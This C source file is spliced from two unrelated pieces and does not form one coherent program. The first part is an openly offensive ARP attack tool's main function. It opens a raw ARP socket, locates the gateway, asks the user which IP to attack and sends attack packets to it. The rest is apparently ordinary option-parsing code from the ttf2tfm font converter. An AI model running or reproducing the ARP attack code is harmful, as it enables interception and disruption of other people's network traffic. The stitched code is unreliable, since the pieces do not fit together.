int main(int c, char **v)
{
int sfd, ret, ifindex, i = 1;
char ipsrc[16], ipdst[16], iptmp[16];
char device[12], src_mac[ETH_ALEN];
struct in_addr src, gatWay, traget;
struct sockaddr_ll from;
send_arping_t rbuf, gatWaybuf;
setuid(0);
sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (sfd == -1){
perror("socket:");
return 1;
}
gethostip(sfd, device, &ifindex, ipsrc, sizeof(ipsrc));
inet_pton(AF_INET, ipsrc, &src.s_addr);
gethostmac(sfd, device, src_mac);
init_sfd(sfd, ifindex);
packed_for_ip(ipsrc, iptmp);
sprintf(ipdst, "%s%d", iptmp, i);
inet_pton(AF_INET, ipdst, &gatWay.s_addr);
while (1){
send_pack(sfd, src_mac, ifindex, &src, &gatWay);
if (recv_pack(sfd, &gatWay, &gatWaybuf))
continue;
else
break;
}
while (1){
printf("which one you want to attacked: ");
fflush(stdout);
//printf("ipdst:%s ipsrc:%s\n", ipdst, ipsrc);
ret = read(0, iptmp, sizeof(iptmp));
iptmp[ret - 1] = '\0';
inet_pton(AF_INET, iptmp, &traget.s_addr);
break;
}
send_attack(sfd, ifindex, &traget, &gatWaybuf);
return 0;
}
static int
compare(Font *fnt, char *s, char *key)
{
char c;
char *p;
char *temp, *temp1;
int value;
int sfd_begin, postfix_begin;
/*
* We isolate the fontname.
*/
while (isspace(*s))
s++;
p = s;
while (*p && !isspace(*p))
p++;
c = *p;
*p = '\0';
temp = newstring(s);
*p = c;
/*
* We search for a subfont definition file name.
*/
handle_sfd(temp, &sfd_begin, &postfix_begin);
if (sfd_begin == -1)
value = strcmp(temp, key);
else
{
size_t len, len1, len2;
/*
* The sfd file will be only searched if prefix and postfix match.
*/
len = strlen(key);
len1 = strlen(temp);
len2 = strlen(temp + postfix_begin);
if (len1 + len2 >= len)
value = -1;
else if (!strncmp(temp, key, len1) &&
!strcmp(temp + postfix_begin, key + (len - len2)))
{
c = key[len - len2];
key[len - len2] = '\0';
temp1 = newstring(key + len1);
key[len - len2] = c;
if (fnt->sfdname)
free(fnt->sfdname);
fnt->sfdname = newstring(temp + sfd_begin);
/*
* If the sfd file can't be opened the search is continued.
*/
value = !init_sfd(fnt, False);
if (!value)
{
value = -1;
while (get_sfd(fnt))
{
if (!strcmp(fnt->subfont_name, temp1))
{
value = 0; /* success */
have_sfd = True;
break;
}
}
close_sfd();
}
free(temp1);
}
else
value = -1;
}
free(temp);
return value;
}
static void
handle_options(int argc, char *argv[], Font *fnt)
{
register int lastext;
register int i;
size_t l;
int arginc;
char *temp;
char c;
char *vpl_name = NULL;
Boolean have_capheight = 0;
Boolean have_sfd = 0;
int sfd_begin, postfix_begin;
int base_name;
stringlist* sl;
/* scan first whether the -q switch is set */
for (i = 1; i < argc; i++)
if (argv[i][0] == '-' && argv[i][1] == 'q')
quiet = True;
if (!quiet)
printf("This is %s\n", ident);
/* Make VPL file identical to that created under Unix */
fnt->titlebuf = (char *)mymalloc(strlen(progname) + strlen(argv[1]) +
1 + 1);
sprintf(fnt->titlebuf, "%s %s", progname, argv[1]);
/*
* TrueType font name.
*/
fnt->ttfname = newstring(argv[1]);
/*
* The other arguments. We delay the final processing of some switches
* until the tfm font name has been scanned -- if it contains two `@'s,
* many switches are ignored.
*/
while (argc > 2 && *argv[2] == '-')
{
arginc = 2;
i = argv[2][1];
switch (i)
{
case 'v':
makevpl = 1;
if (argc <= 3)
oops("Missing parameter for -v option.");
if (vpl_name)
free(vpl_name);
vpl_name = newstring(argv[3]);
handle_extension(&vpl_name, ".vpl");
break;
case 'V':
makevpl = 2;
if (argc <= 3)
oops("Missing parameter for -V option.");
if (vpl_name)
free(vpl_name);
vpl_name = newstring(argv[3]);
handle_extension(&vpl_name, ".vpl");
break;
case 'f':
if (argc <= 3)
oops("Missing parameter for -f option.");
if (sscanf(argv[3], "%lu", &(fnt->fontindex)) == 0)
oops("Invalid font index.");
fnt->fontindexparam = argv[3];
break;
case 'E':
if (argc <= 3)
oops("Missing parameter for -E option.");
if (sscanf(argv[3], "%hu", &(fnt->eid)) == 0)
oops("Invalid encoding ID.");
fnt->eidparam = argv[3];
break;
case 'P':
if (argc <= 3)
oops("Missing parameter for -P option.");
if (sscanf(argv[3], "%hu", &(fnt->pid)) == 0)
oops("Invalid platform ID.");
fnt->pidparam = argv[3];
break;
case 'e':
if (argc <= 3)
oops("Missing parameter for -e option.");
if (sscanf(argv[3], "%f", &(fnt->efactor)) == 0 || fnt->efactor < 0.01)
oops("Bad extension factor.");
fnt->efactorparam = argv[3];
break;
case 'c':
if (argc <= 3)
oops("Missing parameter for -c option.");
have_capheight = True;
if (sscanf(argv[3], "%f", &(fnt->capheight)) == 0)
fnt->capheight = 0;
break;
case 's':
if (argc <= 3)
oops("Missing parameter for -s option.");
if (sscanf(argv[3], "%f", &(fnt->slant)) == 0)
oops("Bad slant parameter.");
fnt->slantparam = argv[3];
break;
case 'p':
if (argc <= 3)
oops("Missing parameter for -p option.");
if (fnt->inencname)
free(fnt->inencname);
fnt->inencname = newstring(argv[3]);
break;
case 'T':
if (argc <= 3)
oops("Missing parameter for -T option.");
if (fnt->inencname)
free(fnt->inencname);
if (fnt->outencname)
free(fnt->outencname);
fnt->inencname = newstring(argv[3]);
fnt->outencname = newstring(argv[3]);
break;
case 't':
if (argc <= 3)
oops("Missing parameter for -T option.");
if (fnt->outencname)
free(fnt->outencname);
fnt->outencname = newstring(argv[3]);
break;
case 'r':
if (argc <= 4)
oops("Not enough parameters for -r option.");
sl = newstringlist();
sl->old_name = newstring(argv[3]);
sl->new_name = newstring(argv[4]);
sl->single_replacement = True;
sl->next = fnt->replacements;
fnt->replacements = sl;
arginc = 3;
break;
case 'R':
if (argc <= 3)
oops("Missing parameter for -R option.");
if (fnt->replacementname)
free(fnt->replacementname);
fnt->replacementname = newstring(argv[3]);
break;
case 'y':
if (argc <= 3)
oops("Missing parameter for -y option.");
if (sscanf(argv[3], "%f", &(fnt->y_offset)) == 0)
oops("Invalid y-offset.");
fnt->y_offsetparam = argv[3];
break;
case 'O':
forceoctal = True;
arginc = 1;
break;
case 'n':
fnt->PSnames = Yes;
arginc = 1;
break;
case 'N':
fnt->PSnames = Only;
arginc = 1;
break;
case 'u':
pedantic = True;
arginc = 1;
break;
case 'q':
quiet = True;
arginc = 1;
break;
case 'L':
if (argc <= 3)
oops("Missing parameter for -L option.");
if (fnt->ligname)
free(fnt->ligname);
fnt->ligname = newstring(argv[3]);
fnt->subfont_ligs = True;
break;
case 'l':
fnt->subfont_ligs = True;
arginc = 1;
break;
case 'w':
fnt->write_enc = True;
arginc = 1;
break;
case 'x':
fnt->rotate = True;
arginc = 1;
break;
case 'o':
if (argc <= 3)
oops("Missing parameter for -o option.");
if (vpl_name)
free(vpl_name);
vpl_name = newstring(argv[3]);
handle_extension(&vpl_name, ".ovp");
break;
default:
if (argc <= 3 || argv[3][0] == '-')
{
warning("Unknown option `%s' will be ignored.\n", argv[2]);
arginc = 1;
}
else
warning("Unknown option `%s %s' will be ignored.\n",
argv[2], argv[3]);
}
for (i = 0; i < arginc; i++)
{
l = strlen(fnt->titlebuf);
fnt->titlebuf = (char *)myrealloc((void *)fnt->titlebuf,
l + strlen(argv[2]) + 1 + 1);
sprintf(fnt->titlebuf + strlen(fnt->titlebuf), " %s", argv[2]);
argv++;
argc--;
}
}
/* Read replacement glyph name file */
get_replacements(fnt);
if (argc > 3 || (argc == 3 && *argv[2] == '-'))
oops("Need at most two non-option arguments.");
/*
* The tfm file name.
*/
if (argc == 2)
temp = newstring(fnt->ttfname);
else
{
temp = newstring(argv[2]);
l = strlen(fnt->titlebuf);
fnt->titlebuf = (char *)myrealloc((void *)fnt->titlebuf,
l + strlen(argv[2]) + 1 + 1);
sprintf(fnt->titlebuf + strlen(fnt->titlebuf), " %s", argv[2]);
}
handle_sfd(temp, &sfd_begin, &postfix_begin);
if (sfd_begin > -1)
{
have_sfd = True;
i = sfd_begin - 2;
}
else
i = strlen(temp) - 1;
/*
* Now we search the beginning of the name without directory.
*/
for (; i >= 0; i--)
if (temp[i] == '/' || temp[i] == ':' || temp[i] == '\\')
break;
base_name = i + 1;
/*
* We store the path (with the final directory separator).
*/
if (base_name > 0)
{
c = temp[base_name];
temp[base_name] = '\0';
fnt->tfm_path = newstring(temp);
temp[base_name] = c;
}
if (have_sfd)
{
/* the prefix and the sfd file name */
if (temp[base_name])
fnt->outname = newstring(temp + base_name);
fnt->sfdname = newstring(temp + sfd_begin);
}
else
postfix_begin = base_name;
/*
* Get the extension.
*/
lastext = -1;
for (i = postfix_begin; temp[i]; i++)
if (temp[i] == '.')
lastext = i;
if (argc == 2 && lastext >= 0)
{
temp[lastext] = '\0'; /* remove TTF file extension */
lastext = -1;
}
if (lastext == -1)
fnt->tfm_ext = newstring(".tfm");
else
{
fnt->tfm_ext = newstring(temp + lastext);
temp[lastext] = '\0';
}
if (have_sfd)
{
if (temp[postfix_begin])
fnt->outname_postfix = newstring(temp + postfix_begin);
}
else
{
if (temp[base_name])
fnt->outname = newstring(temp + base_name);
else
oops("Invalid tfm file name.");
}
/*
* Now we can process the remaining parameters.
*/
if (have_sfd)
{
if (makevpl)
{
warning("Ignoring `-v' and `-V' switches for subfonts.");
makevpl = 0;
}
if (vpl_name)
if ((fnt->vplout = fopen(vpl_name, "wb")) == NULL)
oops("Cannot open ovp output file.");
if (have_capheight)
warning("Ignoring `-c' switch for subfonts.");
if (fnt->inencname || fnt->outencname)
{
warning("Ignoring `-p', `-t', and `-T' switches for subfonts.");
fnt->inencname = NULL;
fnt->outencname = NULL;
}
if (fnt->y_offsetparam && !fnt->rotate)
warning("Ignoring `-y' switch for non-rotated subfonts.");
if (fnt->PSnames)
{
warning("Ignoring `-n' or '-N' switch for subfonts.");
fnt->PSnames = No;
}
init_sfd(fnt, True);
}
else
{
if (have_capheight && fnt->capheight < 0.01)
oops("Bad small caps height.");
if (vpl_name)
if ((fnt->vplout = fopen(vpl_name, "wb")) == NULL)
oops("Cannot open vpl output file.");
if (fnt->subfont_ligs)
{
warning("Ignoring `-l' switch for non-subfont.");
fnt->subfont_ligs = False;
}
if (fnt->rotate)
{
warning("Ignoring `-x' switch for non-subfont.");
fnt->rotate = False;
}
if (fnt->write_enc)
{
warning("Ignoring `-w' switch for non-subfont.");
fnt->write_enc = False;
}
if (fnt->y_offsetparam)
warning("Ignoring `-y' switch for non-subfont.");
}
if (fnt->PSnames == Only)
{
if (fnt->pidparam || fnt->eidparam)
{
warning("Ignoring `-P' and `-E' options if `-N' switch is selected.");
fnt->pidparam = NULL;
fnt->eidparam = NULL;
}
}
if (vpl_name)
free(vpl_name);
free(temp);
}
